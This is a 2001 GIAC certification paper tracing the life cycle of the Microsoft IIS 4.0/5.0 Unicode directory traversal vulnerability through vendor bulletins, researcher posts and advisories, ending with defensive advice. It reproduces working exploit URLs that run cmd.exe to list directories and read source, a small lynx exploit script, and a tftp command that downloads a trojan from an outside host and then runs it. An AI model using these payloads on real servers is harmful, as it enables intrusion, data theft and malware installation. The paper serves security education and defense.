Global Information Assurance Certification Paper

CGI Script Vulnerability in Microsoft IIS 4.0 and 5.0

Life Cycle of a Vulnerability using the CGI Script Vulnerability in Microsoft IIS (Internet Information Server, Microsoft's Web Server) as an example.

Ben Wilson
March 14, 2001

Introduction:

This report is provided as an overview of the "Life Cycle" of a vulnerability. The CGI Script vulnerability in Microsoft IIS will be used as the example.

There are "ethical hackers" referred to as "White Hat Hackers" who are looking for vulnerabilities for the purpose to fix the potential exploits. Then there are those looking for vulnerabilities for other agendas referred to as "Black Hat Hackers". Both groups monitor each others web sites. Both groups also have their own informal communication channels.

If the White Hat Hackers discover a vulnerability then they report it to the Vendor of the program. The hope is for the Vendor to provide the "patch" or "fix" for the vulnerability.

If the Black Hat Hackers discover a vulnerability, then the vulnerability is quickly distributed through their communications channels. Sometimes the vulnerability will be posted on a web site or discussed in a news group. This reporting of the vulnerability provides the visibility to the White Hat Hackers and to the Vendor of the program if they have the personnel to monitor this type of activity.

While the Vendor is working on the fix to the vulnerability, both the White Hat and the Black Hat Hackers are testing the vulnerability for variations. This can often lead to other types of exploits not before though of or tested yet. I believe this is the case with the CGI Script Vulnerability in Microsoft IIS.

Web Servers in the past have been known to have CGI Script vulnerabilities. As the Microsoft IIS became used by more computers, the interest in finding vulnerabilities increased.

Note to the reader: I like to put a border around the contents of a web site that I have cut and pasted into this report. This helps to denote my report from the Web Sites. I like to include in this report the contents of the web site to save time for the reader.

In Addition I put a border around the information about the web site, noting the author or organization if available, the date shown within the web page (usually the posting date of the web page), title, the URL and the date in parenthesis that I last checked the web site to be working.

The following is only my conjecture of the sequence of events.

The name Par Osterberg is given credit for discovering the initial CGI Script vulnerability in Microsoft IIS. Then rain.forest.puppy and NtWaKO did additional research and testing.

CGI Script Vulnerability in Microsoft IIS 4.0 and 5.0

Author: NtWaK0 Bug / Security / Advisory Saturday, October 21, 2000

Title: IIS 5 and using ..%c0%af../winnt/system32/cmd.exe?/c+type+c:

To Read any ASP source Code of the server

Description of how to run the vulnerability

http://packetstorm.securify.com/0010-exploits/iis.asp.txt

Credits

The discovery of this vulnerability was conducted by Par Osterberg

some other research was done by rain forest puppy and some by NtWaK0 (3/14/01)

This web site provides the following:

Directions of how to exploit the IIS vulnerability:

To read the directory on target PC use this syntax:

http://IPADDRESSTESTED/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\inetpub\wwwroot\home*.*

To read ASP source code on target PC use this syntax :

http://IPADDRESSTESTED/scripts/..%c0%af../winnt/system32/cmd.exe?/c+type+c:\inetpub\wwwroot\home\default.asp

Your Internet Explorer Browser would show source code. Example source code retrieved:

```
Dim sServerName, sLocalAddress, sRemoteAddress
sServerName = Request.ServerVariables("SERVER_NAME")
sLocalAddress = Request.ServerVariables("LOCAL_ADDR")
sRemoteAddress = Request.ServerVariables("REMOTE_ADDR") %>
```

Variations of this vulnerability allow you to execute a program that is already on the PC Target.

For example if cybercop was installed on the PC Target:

An implementation flaw in cybercop engine allows a local Blue Screen of Death (BSOD)

on NT 4.0 (Sp6a + All Hot Fixes Installed).

Now let us do more stuff, you can save a file example

http://IPADDRESSTESTED/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\boot.ini

so you will get promted if you wana save the file or open it

I have the luxury of working for a corporation that has a dedicated LAN with several computers for the purpose of testing vulnerabilities and verifying the vendor patches and fixes.

The setting up and maintaining this lab was a formable effort. I doubt most companies can afford the cost of the equipment, personnel, and space for this type of effort.

I then followed the example provided and to my surprise it worked.

This particular vulnerability concerns me greatly and I rate this:

RISK FACTOR: HIGH

This was tested with NT 4.0 sp5 and IIS 4.0. I was able to view the entire directory of the web server.

Note to the reader: The Lab with the dedicated LAN is configured with "Out of the Box" software and installation using the "default" or "suggested" parameters.

Noting the syntax being used I was able to try the following against the web server:

Type (depending on the file contents and format, the Internet Browser did not display correctly the contents of MS Word Files, but did show correctly ASCII Text files).

Rename

Copy

Delete

Executing other programs that exist on the web server.

These are all commands that can be done at the "command line prompt", sometimes called the DOS C:\> prompt.

With very little effort the web server could be corrupted beyond repair or compromised.

My concerns are increasing. As I sit back and think about this vulnerability and how it works, I believe that IDS (Intrusion Detection Software) will not detect this activity. Since the Firewall has port 80 open to all external access to the web server, this exploit will work through the Firewall. The Windows NT Event Logs are not going to show any warning messages about this exploit. I am now very concerned about this.

My hope is that Microsoft Windows 2000 with IIS 5.0 does not have this problem. My hope is devastated as testing this exploit against Windows 2000 Pro with IIS 5.0 works just as well.

In our company, Windows 2000 Pro (the workstation configuration) is being deployed with IIS 5.0 installed and active. Thus not only are our web servers at risk but also the users workstations.

Note to the reader: When installing IIS on either NT 4.0 or Windows 2000, the CGI Scripting is enabled by default.

Now that this vulnerability has been determined to be real and not hype, I research the web for more information and learned more about the Life Cycle of this vulnerability.

Microsoft has three Security Bulletins related to this vulnerability.

CGI Script Vulnerability in Microsoft IIS 4.0 and 5.0

CGI Script Vulnerability in Microsoft IIS, also knows as:

Microsoft Security Bulletin (MS00-057)
Patch Available for "File Permission Canonicalization" Vulnerability

Originally posted: August 10, 2000

http://www.microsoft.com/technet/security/bulletin/MS00-057.asp (3/14/01)

Microsoft Security Bulletin (MS00-078)
Patch Available for "Web Server Folder Traversal" Vulnerability

Originally posted: October 17, 2000

http://www.microsoft.com/technet/security/bulletin/MS00-078.asp (3/14/01)

Microsoft Security Bulletin (MS00-086)
Patch Available for " Web Server File Request Parsing" Vulnerability

Originally posted: November 06, 2000
Updated: November 30, 2000

http://www.microsoft.com/technet/security/bulletin/MS00-086.asp (3/14/01)

I believe many issues can be interpreted from this: (I also include my editorial comments)

1. Once the initial discovery was revealed, many different groups began testing this and determined variations.
   Editorial: This is the double edge sword of reporting vulnerabilities. We want the White Hat and the Vendor to work on this for a comprehensive solution. But the Black Hat also read this and learn from this new knowledge.

2. Microsoft does release a patch for MS00-057 but is very conservative about the potential risk of this vulnerability.
   Editorial: The initial discovery is bad, but it gets worse as more people get involved. Thus reading the initial report for MS00-057 doesn't sound too bad, and maybe the reader determines that the patch is not needed or too much effort.

3. When a variation is found, Microsoft uses different names for the vulnerability.
   Editorial: Since Microsoft does not call MS00-057 a CGI Script vulnerability, but uses the word "Canonicalization" System Administrators don't appreciate the risk and assume the Microsoft patch is good enough. Thus CGI Scripting is left enabled and exposes the web server as variations are learned. The naming of this vulnerability gives the initial impression of an obscure or abstract flaw, imply that this not understandable for the reader.

4. Microsoft is very vague about the description of the vulnerability.
   Editorial: I agree with this in part, but find it harder to relate that these are all based on the CGI Script Vulnerability of IIS.

5. From Microsoft's web site, they admit that both IIS 4.0 and IIS 5.0 to have the problem.

6. Microsoft states: The vulnerability is subject to several significant restrictions.
Editorial: My testing showed that I could read the entire directory of the web server. Since the language used is perceived as complex, some System Administrator will misinterpret the risk and do nothing.

Microsoft Security Bulletin (MS00-057)
Patch Available for "File Permission Canonicalization" Vulnerability

Originally posted: August 10, 2000

Summary

Microsoft has released a patch that eliminates a security vulnerability in Microsoft® Internet Information Server. Under very restricted conditions, the vulnerability could allow a malicious user to gain additional permissions to certain types of files hosted on a web server.
Frequently asked questions regarding this vulnerability and the patch can be found at
http://www.microsoft.com/technet/security/bulletin/fq00-057.asp

Issue

A canonicalization error can, under certain conditions, cause IIS 4.0 or 5.0 to apply incorrect permissions to certain types of files. If an affected file residing in a folder with restrictive permissions were requested via a particular type of malformed URL, the permissions actually used would be those of a folder in the file's parentage chain, but not those of the folder the file actually resides in. If the ancestor folder's permissions were more permissive than those of the correct folder, the malicious user would gain additional privileges to the affected file.
The vulnerability is subject to several significant restrictions:

- It only affects CGI scripts and file types that are implemented via ISAPI extensions. It does not affect static web page or non-web file types such as .exe, .doc or .bat
- It only affects servers that expose a web folder structure that mirrors the physical folder structure on the server.
- It does not allow arbitrary permissions to be selected, only permissions present on an ancestor folder
- It provides no way to enumerate the server and locate files that could be affected by the vulnerability.

Affected Software Versions

- Microsoft Internet Information Server 4.0
- Microsoft Internet Information Server 5.0

So in this Life Cycle what is happening. Found on the internet via search engines we learn that .Rain.Forest.Puppy has validated the vulnerability and associated UNICODE as being part of the problem and provides a variation . The original description:

using ..%c0%af../

Now we know that using

%c1%1c in the 'exploit' URL

provides other possibilities, and maybe other UNICODE combinations could lead to more.

Author: .Rain.Forest.Puppy report on IIS vulnerability *Last modified: Feb 28 2001 11:40:53*
Title: **IIS %c1%1c bug**
http://www.wiretrip.net/rfp/p/doc.asp?id=57&iface=2 (3/14/01)

The content of this web site shows more detail and testing of the operation. Please note that at the end is a reference to another vulnerability called RDS. Using this information provides links to yet another serious vulnerability.

An anonymous person posts that they can run arbitrary commands on IIS 5 (Win 2000) using the following URL:

http://address.of.iis5.system/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\

They also gave a sample site that appeared to be vulnerable. Following the thread shows various people trying (unsuccessfully) to recreate the problem.

So is the site listed a fake, meant to *appear* vulnerable? Was it due to a misconfiguration?

First I tried my IIS5/Win2K test server--and it wasn't vulnerable. However, the sample site was in China (hence the .cn), and they were using a UNICODE character set different than mine.

So doing a quick search on a search engine for sites hosting the default IIS5 web page, I found a dozen that had foreign UNICODE fonts--and all of them were vulnerable.

Checking a few other US-font sites resulted in them being not vulnerable. So at this point there is enough confirmation that there is a problem. I can only speculate 'why' this is a vulnerability, and I figure it has to do something with UNICODE translation.

However, it's still odd. And I'm not satisfied. Pulling up vi (yes, Marissa, vi--not pico (anymore)), I coded a quick little perl script that will check all 65535 combinations in place of the %c1%1c in the 'exploit' URL. Sorry, but I'm not going to post the script, since it's built on whisker v2.0 code, which I'm not ready to release. :)

Anyways, the script chugged through all 65535, kicking back various errors from 'Not Found', 'Authentication Required' (?!?), 'Read Access Forbidden', and various API error messages ('The parameter is incorrect.' and 'The file, directory name, or syntax is invalid.').

But there in the output, in two particular instances, I had a directory listing. Yikes.

It seems the values of %c0%af and %c1%9c work for IIS 5.
Curiousity getting the better of me, I tried it on IIS 4. Uh oh, works
there too.

So is it UNICODE based? Yes. %c0%af and %c1%9c are overlong UNICODE representations for '/' and '\'. There may even be longer (3+ byte) overlong representations too. IIS seems to decode UNICODE at the wrong instance (after path checking, rather than before). I didn't learn this until later on (after doing some research on UTF-8).

Obviously, since this was initially posted to a public forum, I take no credit for the original find--all I did was further develop the research. Thanks again to Par Osterberg for sending me the URL.

Microsoft has released MS00-078 to warn of the problem. The patch from MS00-057 ("File permission canonicalization") fixes this problem. Note to world: MS had a 2 hour turn-around on contact (at 1am, no less), and about 12 hours for talking with the developers, going over the problem, and deciding a gameplan. I think that's worth a kudos. Thanks to Scott Culp and David LeBlanc for putting up with me and wasting their weekends. :)

- rain forest puppy

ps. while I thought this was going to be bigger than RDS, it turns out the program execution happens under IUSR_machine context, so you're limited (e.g. you can't just grab the SAM, etc).

In the Life Cycle one would hope that the above testing was complete and we are lead from MS00-057 to MS00-078. This has a different name but states the patch for MS00-057 solves the problem for MS00-078 also.

MS00-078 is titled: **Web Server Folder Traversal**

The noteworthy point in MS00-078 is:

The vulnerability could potentially allow a visitor to a web site to take a **wide range of destructive actions** against it, **including running programs on it.**

Editorial: My concern is that Windows NT Administrators are not given enough training. The statement "wide range of destructive actions" gets your attention but the phase "including running programs on it" does not reveal the magnitude of the threat. I complement Microsoft for giving credit to the White Hat person .Rain.Forset.Puppy. in working with them on this problem.

In the Life Cycle is there more? Yes.

To my surprise in continuing the Internet Search on this vulnerability provided a detailed and in depth example (step by step) to download your own Trojan into the Target PC using this vulnerability. This is an example of ramification of "including running programs on it". Remember M00-057 leads the reader to believe the following is not possible. Persistence on the part of Hackers and "thinking out of the box" and understanding how things works provides clever solutions.

Editorial: The double sided nature of the Internet provides clear simple instructions for all to follow to exploit this vulnerability. This is easier to read than the nomenclature used by the Microsoft Security Bulletins. It seems there are more steps to the fix an exploit than to do the exploit.

Author: **Securiteam: a group within Beyond Secuirty** 10/27/2000
Title: Additional details about the IIS remote execution vulnerability
URL: http://www.securiteam.com/exploits/Additional_details_about_the_IIS_remote_execution_vulnerability.html (3/14/01)

The web site shows the following:

Details:

MSADC "bypass"

By supplying /msadc in the URL, it is possible to "escape" from the web root directory, and reach other directories that are not usually accessible through normal HTTP requests.

Exploit:

---runaway.sh----

```
#!/bin/sh
lynx -dump
http://$1/msadc/..\%c0\%af../..\%c0\%af../..\%c0\%af../winnt/system32/cmd.exe\?/c\+$2+$3+$4+
$5+$6+$7
```

Example:

./runaway.sh www.example.com dir c:\\ (<- note the double backslash).

Using TFTP to "complete the circle"

By using tftp.exe (a utility that comes with WinNT and Win2K), it is possible to complete the attack and compromise the underlying operating system. There is nothing new about TFTP, but by using a TFTPD Trivial FTP daemon, it is possible to use the command execution vulnerability in order to download a Trojan file and then execute it - thus gaining further privileges.

Exploit:

Sending this URL:

```
/[bin-dir]/..%c0%af../winnt/system32/tftp.exe+"-
i"+xxx.xxx.xxx.xxx+GET+ncx99.exe+c:\winnt\system32\ncx99.exe
```

Will download the file 'ncx99.exe'.

After that, the Trojan can be executed by requesting the URL:

```
/[bin-dir]/..%c0%af../winnt/system32/ncx99.exe
```

In the Life Cycle of software and for patches that fix vulnerabilities, each new version and each new patch can provide additional vulnerabilities.

{00.49.015} Win - Update {00.46.009}: MS00-086: IIS CGI command parsing vulnerability

Microsoft has released an updated version of MS00-086, as discussed in {00.46.009} ("MS00-086: IIS CGI command parsing vulnerability"). Two new variants of the IIS CGI bug have been found, which causes the scope of the vulnerability to be expanded to all IIS 4.0 and 5.0 installations.

FAQ and patches:

http://www.microsoft.com/technet/security/bulletin/fq00-086.asp

Note: An unconfirmed report has surfaced indicating that this patch contains a regression error, which reintroduces the vulnerability discussed in {00.43.014} ("MS00-078: IIS Web folder traversal vulnerability").

Source: Microsoft

http://archives.neohapsis.com/archives/vendor/2000-q4/0074.html

This is the case with the patch fro MS00-056 which also fixed MS00-078.

We now have MS00-086 Web Server File Request Parsing" Vulnerability.

This Bulletin has an update of November 30, 2000 to the original of November 6, 2000 and "the bulletin has been updated several times". Acknowledgement to "newly-discovered variants" is provided. Then the admission that not enough testing was done on the patch and that the patch provides a new vulnerability 'Web Server Directory Traversal". This is referred to as "newly-discovered regression error in the IIS 5.0 patch".

Microsoft Security Bulletin (MS00-086)

Patch Available for " Web Server File Request Parsing" Vulnerability

Originally posted: November 06, 2000
Updated: November 30, 2000

http://www.microsoft.com/technet/security/bulletin/MS00-086.asp (3/14/01)

Microsoft Security Bulletin (MS00-086)

Patch Available for "Web Server File Request Parsing" Vulnerability

Originally posted: November 06, 2000
Updated: November 30, 2000

Summary

On November 06, 2000, Microsoft released the original version of this bulletin, announcing the availability of a patch that eliminates a security vulnerability in Microsoft® Internet Information Services 5.0. The vulnerability could enable a malicious user to run operating system commands on a web server. Since its original issuance, the bulletin has been updated several times:

- On November 10, 2000, the bulletin was updated to clarify the scope of the issue.
- On November 21, 2000, it was updated to discuss two newly-discovered variants of the original vulnerability.
- On November 30, 2000, it was updated to discuss a newly-discovered regression error in the IIS 5.0 patch and recommend that customers apply an updated version of the patch.

The newly-discovered regression error only affects the IIS 5.0 version of the patch. It has no effect on the effectiveness of the patch against the vulnerability discussed here, but it does cause servers to be vulnerable to the "Web Server Directory Traversal" discussed in Microsoft Security Bulletin MS00-078, even if the patch provided in MS00-078 has been applied. Microsoft therefore recommends that all IIS 5.0 customers apply the new patch provided below. It protects against both the "Web Server File Request Parsing" and "Web Server Directory Traversal" vulnerabilities. The IIS 4.0 version of the patch does not contain the error, and customers who have applied the IIS 4.0 patch do not need to take any action.

We then learn of another variation in Jan 08 2001 - 23:31:23.

{00.55.018} Win - IIS %3f+.htr file retrieval

An advisory was released that indicates it is possible to retrieve the source to files by appending "%3f+.htr" to the end of the request URL. This problem is an extension of the "File Fragment" vulnerability (previously reported in {00.21.005}, "MS00-031: Undelimited .HTR Request and File Fragment Reading via .HTR patch").

No patches have been made available. Only IIS 5.0 is reported vulnerable.

Source: Win2KSecurityAdvice

http://archives.neohapsis.com/archives/win2ksecadvice/2001-q1/0011.html

What is next in the Life Cycle of this vulnerability? Do other Web Server programs have the same or similar vulnerability? Yes!

A competing product called LocalWeb2000 Version 1.1.0 is reported to have a similar problem.

{00.57.020} Win - LocalWeb2000 directory traversal vulnerability

LocalWeb2000 version 1.1.0 is vulnerable to a directory traversal attack, whereby a remote attacker uses '../' URL notation to access arbitrary files outside the Web root on the target server.

The report indicates confirmation of the vulnerability from the vendor, which should fix it in a future release.

Source: SecurityFocus Bugtraq Jan 19 2001 - 14:41:52 CST

URL: http://archives.neohapsis.com/archives/bugtraq/2001-01/0346.html (3/14/01)

This shows that this CGI Script vulnerability has a life of its own and will continue to have a Life Cycle that will continue into new releases of the software. More variation are probably yet to be discovered.

For the benefit of the reader the following two web sites are provide. I found this interesting for I did not know that MITRE was reporting Common Vulnerabilities and Exposures. I also did not know how seriously China has taken computer security.

Editorial: There were articles that indicated that over 500,000 computers in China were greatly affected by the Melissa Virus.

CGI Script Vulnerability in Microsoft IIS 4.0 and 5.0

Author:	MITRE	**CVE Version: 20010122**
	Common Vulnerabilities and Exposures,	
	The Key to Information Sharing	
Title :	CVE-2000-0884	
URL:	http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0884 (3/14/01)	

CVE-2000-0884

CVE Version: 20010122
This is an entry on the CVE list, which standardizes names for security problems. It was reviewed and accepted by the CVE Editorial Board before it was added to CVE.

Name	CVE-2000-0884
Description	IIS 4.0 and 5.0 allows remote attackers to read documents outside of the web root, and possibly execute arbitrary commands, via malformed URLs that contain UNICODE encoded characters, aka the "Web Server Folder Traversal" vulnerability.

References

BUGTRAQ:20001017 IIS %c1%1c remote command execution
MS:MS00-078
BID:1806
XF:iis-unicode-translation
Note: References are provided for the convenience of the reader to help distinguish between CVE entries. The list of references is not intended to be complete.
Entry created on 20010122.

The Chinese Web Site numbered the CGI Script vulnerability consecutively which I find interesting.

Author:	NSFocus	Network Security Focus
Title:	Microsoft IIS for Far East Editions File Disclosure Vulnerability	
	Microsoft IIS 4.0/5.0 CGI File Name Inspection Vulnerability	
	Microsoft IIS 4.0/5.0 web directory traversal vulnerability	
URL:	http://www.nsfocus.com/english.php	(3/14/01)

CGI Script Vulnerability in Microsoft IIS 4.0 and 5.0

Dec 13 , 2000
NSFOCUS security team has found a security flaw in Microsoft IIS 4.0/5.0 (Far East editions) when responding to a HTTP request containing incomplete double-byte characters(DBCS). It could lead to exposure of files under Web directory to a remote attacker.

Nov 23 ,2000
NSFOCUS security team has found a security flaw in Microsoft IIS 4.0/ 5.0 when handling a CGI file name. Exploitation of it, attacker can read system file and run arbitrary system command.

Oct 20 ,2000
NSFOCUS security team has found a security flaw in Microsoft IIS 4.0/5.0 UNICODE decoding implementation. Exploitation of this vulnerability, It is possible that a malicious user can run arbitrary command or get the content of system file in the web server running vulnerable IIS remotely.

Conclusion:

The Life Cycle of a vulnerability like the CGI Script vulnerability in Microsoft IIS is quite long with many branches or variations, even when the vendor Microsoft provides a patch. Even the patches provide new vulnerabilities.

Some issues that I believe contribute to the long life cycle of vulnerabilities are that Corporations, SOHO (Small Office Home Office) and Government Facilities have a mind set which causes the fixes and patches not to be implemented. Thus the vulnerabilities, even though revealed, patches available, continue to be opportunities, thus extending the Life Cycle.

In the corporate culture I have found the following attitudes and statements to be heard:

Misguided Perceptions:

> Any user who can follow directions and insert a CD into a PC can setup Windows NT, Windows 2000 and the Microsoft web server IIS. The "Out of the Box" configuration is "good enough security" for our situations.
>
> Microsoft Service Packs fixes all known vulnerabilities.
>
> Out of the Box installations and configurations protect and limit access to NT/Win2K Servers adequately.
>
> Upgraded Version of IIS, Version 5.0, fix all vulnerabilities known in IIS Version 4.0
>
> If IIS was compromised, the vulnerability would be limited to C:\Inetpub\wwwroot directory. (The web directory)
>
> Win2K solved all vulnerabilities in NT 4.0.
>
> Hacker exploits require programming skills.
>
> Hacker exploits details and procedures are not well known or understood, thus take to much time to research and thus are a minimal risk.
>
> Vulnerabilities and exploits can't get through our Firewalls, and even if they did our Intrusion Detection Software would catch it.

My response is that System Administrators, Network Administrators, and those that "Build" the PC NT/W2K workstations and servers need to have training and check lists. Using the "Out of the Box" default values does not provide adequate security. Just installing the latest "Microsoft Service Packs" does not correct all the known vulnerabilities. Administrators must be informed of the vulnerabilities and the associated fixes. Some vulnerabilities require patches, and others require configuration settings and non-default procedures to be used when the computers are first built.

Yes it does take longer to "build" the workstations and servers correctly. But what is the cost of not having adequate security. What is the cost of our computers being compromised?

The Microsoft Web site provides the following for defenses in addition to the "patch" for this vulnerability. I use this as an example that the patches from Microsoft are only a part of the solution. Check Lists and learning from others is crucial to protect our systems.

Defenses:

Are there best practices that would reduce the risk posed by vulnerabilities like this one?

Yes. Because of the risk of so-called "directory traversal" vulnerabilities, it's worth taking defensive measures when setting up a web server. These are discussed in the Security Checklists for IIS 4.0 and 5.0, and include: http://www.microsoft.com/technet/security/tools.asp

1. Install your web folders on a drive other than the system drive.
2. Eliminate all sample files and unneeded features from your site.
3. Move, rename or delete any command-line utilities that could assist an attacker, and set restrictive permissions on them.
4. Be sure that the IUSR_machinename account does not have write access to any files on your system.

The need for professional system administrators who have professional training and check lists for setting up all corporate and government computers is a must. These system administrators must have the time and resource to keep up with the Security notices and associated patches, fixes and procedures.

System Administrators and Network Administrators need to be on the CERT, ISS, SANS, and any other reporting groups e-mail distribution. The job of the "Administrators" of PCs and Networks is an overwhelming task. If their job function is just to get systems up, and keep them running, then corporations, SOHO (Small Office, Home Office), government computers and networks will continue to be the "playing grounds" for hackers of all types including the "script kiddies".

The advent of Internet Centric applications like Microsoft Office leads to additional services like Microsoft Internet Information Server (IIS) being installed on workstations. These additional services provide additional vulnerabilities. Management and Administrators need to understand the risks associated with these additional services.

References:

Microsoft Security Bulletin (MS00-086)
Title: Patch Available for "Web Server File Request Parsing" Vulnerability

Originally posted: November 06, 2000
Updated: November 30, 2000

URL: http://www.microsoft.com/technet/security/bulletin/MS00-086.asp (3/14/01)

Microsoft Security Bulletin (MS00-078)
Title: **Patch Available for "Web Server Folder Traversal" Vulnerability**

Originally posted: October 17, 2000

URL: http://www.microsoft.com/technet/security/bulletin/MS00-078.asp (3/14/01)

Microsoft Security Bulletin (MS00-057)

Title: **Patch Available for "File Permission Canonicalization" Vulnerability**

Originally posted: August 10, 2000

URL: http://www.microsoft.com/technet/security/bulletin/MS00-057.asp (3/14/01)

Author: NtWaK0 Bug / Security / Advisory Saturday, October 21, 2000

Title: IIS 5 and using ..%c0%af../winnt/system32/cmd.exe?/c+type+c:

To Read any ASP source Code of the server

URL: http://packetstorm.securify.com/0010-exploits/iis.asp.txt (3/14/01)

Credits

The discovery of this vulnerability was conducted by Par Osterberg

some other research was done by rain forest puppy and some by NtWaK0

Author: .Rain.Forest.Puppy report on IIS vulnerability *Last modified: Feb 28 2001 11:40:53*

Title: **IIS %c1%1c bug**

URL: http://www.wiretrip.net/rfp/p/doc.asp?id=57&iface=2 (3/14/01)

Author: **Securiteam: a group within Beyond Secuirty** 10/27/2000

Title: Additional details about the IIS remote execution vulnerability

URL: http://www.securiteam.com/exploits/Additional_details_about_the_IIS_remote_execution_vulnerability.html (3/14/01)

Author: NSFocus Network Security Focus

Title: Microsoft IIS for Far East Editions File Disclosure Vulnerability

Microsoft IIS 4.0/5.0 CGI File Name Inspection Vulnerability

Microsoft IIS 4.0/5.0 web directory traversal vulnerability

URL: http://www.nsfocus.com/english.php (3/14/01)

Using Internet Search engines the following groups that also reported this vulnerability:

SANS Security Alert Consensus

October 17, 2000

- Windows Alerts -

Author: Created for you by Network Computing and the SANS Institute

Title: {00.49.015} Win - Update {00.46.009}: MS00-086: IIS CGI command parsing vulnerability

URL: http://www.sans.org/newlook/digests/SAC/windows.htm (3/14/01)

Neohapsis / Archives / Vendor Alerts / Message Index /

Author: **Microsoft Security Bulletin (MS00-078)** October 17, 2000

Title: Patch Available for "Web Server Folder Traversal" Vulnerability

URL: http://archives.neohapsis.com/archives/vendor/2000-q4/0041.html (3/14/01)

CGI Script Vulnerability in Microsoft IIS 4.0 and 5.0

Author:	**Allaire Security Bulletin (ASB00-26)**	Last Updated: October 23, 2000
Title:	Microsoft (MS00-078): Patch Available for "Web Server Folder Traversal" Vulnerability	
URL:	http://www.allaire.com/handlers/index.cfm?ID=17965&Method=Full	(3/14/01)

Author:	**Security Portal**	Oct 17 2000 - 06:39:03 PDT
Title:	Microsoft Security Bulletin (MS00-078)	
URL:	http://securityportal.com/list-archive/mssecurity/0120.html	(3/14/01)

Author: **Carnegie Mellon Software Engineering Institute**

CERT Coordination Center **Date Public: 10/10/2000**

Title: **Vulnerability Note VU#111677**

Microsoft IIS 4.0 / 5.0 vulnerable to directory traversal via extended unicode in url
http://www.kb.cert.org/vuls/id/111677

This document was written by Shawn Hernan. Our understanding of this problem was aided by the work of Rain Forest Puppy

Last Updated: May 30th, 2017

Upcoming Training

SANS Houston 2017	Houston, TX	Jun 05, 2017 - Jun 10, 2017	Live Event
Security Operations Center Summit & Training	Washington, DC	Jun 05, 2017 - Jun 12, 2017	Live Event
Community SANS Ottawa SEC401	Ottawa, ON	Jun 05, 2017 - Jun 10, 2017	Community SANS
SANS San Francisco Summer 2017	San Francisco, CA	Jun 05, 2017 - Jun 10, 2017	Live Event
SANS Charlotte 2017	Charlotte, NC	Jun 12, 2017 - Jun 17, 2017	Live Event
SANS Rocky Mountain 2017 - SEC401: Security Essentials Bootcamp Style	Denver, CO	Jun 12, 2017 - Jun 17, 2017	vLive
SANS Secure Europe 2017	Amsterdam, Netherlands	Jun 12, 2017 - Jun 20, 2017	Live Event
Community SANS Portland SEC401	Portland, OR	Jun 12, 2017 - Jun 17, 2017	Community SANS
SANS Rocky Mountain 2017	Denver, CO	Jun 12, 2017 - Jun 17, 2017	Live Event
SANS Minneapolis 2017	Minneapolis, MN	Jun 19, 2017 - Jun 24, 2017	Live Event
SANS Cyber Defence Canberra 2017	Canberra, Australia	Jun 26, 2017 - Jul 08, 2017	Live Event
SANS Paris 2017	Paris, France	Jun 26, 2017 - Jul 01, 2017	Live Event
SANS Columbia, MD 2017	Columbia, MD	Jun 26, 2017 - Jul 01, 2017	Live Event
SANS London July 2017	London, United Kingdom	Jul 03, 2017 - Jul 08, 2017	Live Event
Cyber Defence Japan 2017	Tokyo, Japan	Jul 05, 2017 - Jul 15, 2017	Live Event
SANS Munich Summer 2017	Munich, Germany	Jul 10, 2017 - Jul 15, 2017	Live Event
SANS Cyber Defence Singapore 2017	Singapore, Singapore	Jul 10, 2017 - Jul 15, 2017	Live Event
Community SANS Minneapolis SEC401	Minneapolis, MN	Jul 10, 2017 - Jul 15, 2017	Community SANS
SANS Los Angeles - Long Beach 2017	Long Beach, CA	Jul 10, 2017 - Jul 15, 2017	Live Event
Community SANS Phoenix SEC401	Phoenix, AZ	Jul 10, 2017 - Jul 15, 2017	Community SANS
Mentor Session - SEC401	Macon, GA	Jul 12, 2017 - Aug 23, 2017	Mentor
Mentor Session - SEC401	Ventura, CA	Jul 12, 2017 - Sep 13, 2017	Mentor
Community SANS Atlanta SEC401	Atlanta, GA	Jul 17, 2017 - Jul 22, 2017	Community SANS
Community SANS Colorado Springs SEC401	Colorado Springs, CO	Jul 17, 2017 - Jul 22, 2017	Community SANS
SANSFIRE 2017	Washington, DC	Jul 22, 2017 - Jul 29, 2017	Live Event
Community SANS Charleston SEC401	Charleston, SC	Jul 24, 2017 - Jul 29, 2017	Community SANS
SANSFIRE 2017 - SEC401: Security Essentials Bootcamp Style	Washington, DC	Jul 24, 2017 - Jul 29, 2017	vLive
Community SANS Fort Lauderdale SEC401	Fort Lauderdale, FL	Jul 31, 2017 - Aug 05, 2017	Community SANS
SANS San Antonio 2017	San Antonio, TX	Aug 06, 2017 - Aug 11, 2017	Live Event
SANS Prague 2017	Prague, Czech Republic	Aug 07, 2017 - Aug 12, 2017	Live Event
SANS Boston 2017	Boston, MA	Aug 07, 2017 - Aug 12, 2017	Live Event